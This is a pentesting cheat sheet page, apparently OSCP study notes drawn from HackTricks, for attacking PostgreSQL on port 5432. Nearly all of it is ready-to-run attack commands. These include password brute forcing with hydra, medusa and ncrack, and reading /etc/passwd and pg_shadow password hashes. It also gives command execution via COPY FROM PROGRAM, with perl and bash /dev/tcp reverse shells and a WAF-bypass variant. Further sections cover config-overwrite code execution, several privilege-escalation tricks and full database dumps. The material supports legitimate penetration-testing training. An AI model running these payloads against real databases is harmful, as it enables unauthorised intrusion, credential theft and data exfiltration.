📡

Postgresql (Tcp 5432)

PostgreSQL is an open-source object-relational database. Default port 5432/tcp (falls back to 5433 if in use). Source: [HackTricks — Pentesting PostgreSQL](https://hacktricks.wiki…

#services#adot8
source · oscp.adot8.com · services/postgresql-less-than-tcp-5432-greater-than

PostgreSQL <tcp 5432>

PostgreSQL is an open-source object-relational database. Default port 5432/tcp (falls back to 5433 if in use). Source: HackTricks — Pentesting PostgreSQL.

code
01PORT STATE SERVICE
025432/tcp open pgsql

Connect

bash
$psql -U <myuser> # local console
$psql -h <ip> -U <username> -d <database> # remote
$psql -h <ip> -p 5432 -U <username> -W <password> <database> # remote w/ password prompt

Enumeration (psql meta-commands)

sql
01\list -- list databases
02\c <database> -- switch DB
03\d -- list tables
04\du+ -- list roles / users
05\dn+ -- list schemas
06\df * -- list functions
07\s -- command history
08
09SELECT user; -- current user
10SELECT current_catalog; -- current DB
11SELECT version(); -- server version
12SELECT datname FROM pg_database;
13SELECT schema_name, schema_owner FROM information_schema.schemata;
14SELECT usename, passwd FROM pg_shadow; -- creds (needs superuser)
15SELECT lanname, lanacl FROM pg_language;
16SELECT * FROM pg_extension; -- installed extensions

If \list shows a DB named rdsadmin, you're inside an AWS RDS PostgreSQL.

Nmap + Metasploit

bash
$nmap -sV -p 5432 --script=pgsql-brute <ip>
code
01msf> use auxiliary/scanner/postgres/postgres_version
02msf> use auxiliary/scanner/postgres/postgres_login
03msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
04msf> use auxiliary/admin/postgres/postgres_sql
05msf> use auxiliary/admin/postgres/postgres_readfile
06msf> use exploit/multi/postgres/postgres_copy_from_program_cmd_exec

Brute force

bash
$hydra -L users.txt -P passwords.txt <ip> -s 5432 postgres
$medusa -h <ip> -U users.txt -P passwords.txt -M postgres
$ncrack -p 5432 --user postgres -P passwords.txt <ip>

Port-state fingerprint via dblink

sql
01SELECT * FROM dblink_connect('host=1.2.3.4 port=5678 user=name password=secret dbname=abc connect_timeout=10');
Error messageMeaning
No route to hostHost down
Connection refusedPort closed
server closed the connection unexpectedlyPort open (banner-grabbed)
password authentication failed for user "name"Port open, auth wall
Connection timed outOpen or filtered

Roles & privileges

ColumnMeaning
rolsuperSuperuser
rolcreateroleCan create roles
rolcreatedbCan create DBs
rolcanloginCan log in
rolreplicationReplication role
rolbypassrlsBypass row-level security
  • Member of pg_execute_server_programrun commands
  • Member of pg_read_server_filesread files
  • Member of pg_write_server_fileswrite files
sql
01-- Am I superuser?
02SELECT current_setting('is_superuser');
03
04-- Full role dump
05SELECT r.rolname, r.rolsuper, r.rolcreaterole, r.rolcreatedb,
06 r.rolcanlogin, r.rolbypassrls, r.rolreplication,
07 ARRAY(SELECT b.rolname FROM pg_catalog.pg_auth_members m
08 JOIN pg_catalog.pg_roles b ON m.roleid = b.oid
09 WHERE m.member = r.oid) AS memberof
10FROM pg_catalog.pg_roles r ORDER BY 1;
11
12-- Grant myself into privileged groups (needs CREATEROLE / superuser)
13GRANT pg_execute_server_program TO "<user>";
14GRANT pg_read_server_files TO "<user>";
15GRANT pg_write_server_files TO "<user>";

File read

sql
01-- Via COPY (super / pg_read_server_files)
02CREATE TABLE demo(t text);
03COPY demo FROM '/etc/passwd';
04SELECT * FROM demo;
05
06-- Via helper functions
07\c postgres
08SELECT * FROM pg_ls_dir('/tmp');
09SELECT * FROM pg_read_file('/etc/passwd', 0, 1000000);
10SELECT * FROM pg_read_binary_file('/etc/passwd');

File write

sql
01-- Super / pg_write_server_files. One-liner only — COPY strips newlines.
02COPY (SELECT convert_from(decode('<BASE64>','base64'),'utf-8')) TO '/tmp/out.txt';

RCE — COPY … FROM PROGRAM (CVE-2019-9193, "won't fix")

Requires superuser or pg_execute_server_program.

sql
01DROP TABLE IF EXISTS cmd_exec;
02CREATE TABLE cmd_exec(cmd_output text);
03COPY cmd_exec FROM PROGRAM 'id';
04SELECT * FROM cmd_exec;
05
06-- Reverse shell (perl)
07COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"<lhost>:<lport>");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';

WAF-bypass variant (build COPY dynamically inside a DO block):

sql
01DO $$
02DECLARE cmd text;
03BEGIN
04 cmd := CHR(67) || 'OPY (SELECT '''') TO PROGRAM ''bash -c "bash -i >& /dev/tcp/<lhost>/<lport> 0>&1"''';
05 EXECUTE cmd;
06END $$;

RCE via PL/pgSQL languages

sql
01CREATE OR REPLACE FUNCTION shell(text) RETURNS void AS $$
02 import os
03 os.system(args[0])
04$$ LANGUAGE plpythonu;
05SELECT shell('id > /tmp/out');

PostgreSQL 8.2+: RCE via loading a malicious .so extension — see HackTricks RCE with PostgreSQL Extensions.

RCE via postgresql.conf overwrite (superuser)

Abusable knobs:

  • ssl_passphrase_command — executed to decrypt the SSL key on pg_reload_conf().
  • archive_command + archive_mode = 'on' — executed on every WAL switch (SELECT pg_switch_wal();).
  • session_preload_libraries + dynamic_library_path — load attacker .so on next connection.
sql
01-- Multi-line rewrite via Large Objects (works from SQLi)
02SELECT lo_import('/etc/postgresql/15/main/postgresql.conf');
03SELECT lo_from_bytea(223, decode('<BASE64_NEW_CONF>','base64'));
04SELECT lo_export(223, '/etc/postgresql/15/main/postgresql.conf');
05SELECT pg_reload_conf();
06SELECT pg_switch_wal();

CREATEROLE → SUPERUSER

sql
01GRANT pg_execute_server_program TO <me>;
02ALTER USER victim WITH PASSWORD 'new';
03
04-- If pg_hba.conf has `local ... trust`, escalate through psql:
05COPY (SELECT '') TO PROGRAM 'psql -U postgres -c "ALTER USER <me> WITH SUPERUSER;"';

dblink local-login abuse

sql
01CREATE EXTENSION dblink; -- if missing
02SELECT * FROM dblink('host=127.0.0.1 port=5432 user=postgres dbname=postgres',
03 'SELECT usename,passwd FROM pg_shadow')
04 RETURNS (result TEXT);
05
06-- Detect availability
07SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;

ALTER TABLE + index function trick (Wiz "cloudsqladmin")

sql
01CREATE TABLE temp_table (data text);
02INSERT INTO temp_table VALUES ('x');
03CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
04 LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';
05CREATE INDEX ix ON public.temp_table (suid_function(data));
06ALTER TABLE temp_table OWNER TO cloudsqladmin;
07CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
08 LANGUAGE sql VOLATILE AS
09 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';
10ANALYZE public.temp_table; -- runs as owner

Overwriting filenodes (privesc without UPDATE)

  1. SELECT setting FROM pg_settings WHERE name='data_directory';
  2. SELECT pg_relation_filepath('<table>'); → e.g. base/3/1337
  3. SELECT lo_import('<data_dir>/base/3/1337', 13337);
  4. Edit with postgresql-filenode-editor — flip rol* flags in pg_authid to make yourself superuser.
  5. SELECT lo_from_bytea(13338, decode('<B64>','base64')); SELECT lo_export(13338,'<data_dir>/base/3/1337');
  6. Clear cache: SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea);

Cheat cheatsheet

bash
$# Dump every DB
$pg_dumpall -h <ip> -U postgres -f dump.sql
$
$# Dump one DB
$pg_dump -h <ip> -U postgres -d <db> -f db.sql
$
$# Password hashes (SCRAM-SHA-256 / md5)
$psql -h <ip> -U postgres -c "SELECT usename, passwd FROM pg_shadow;"

See also HackTricks — PostgreSQL Injection and RCE with PostgreSQL Extensions.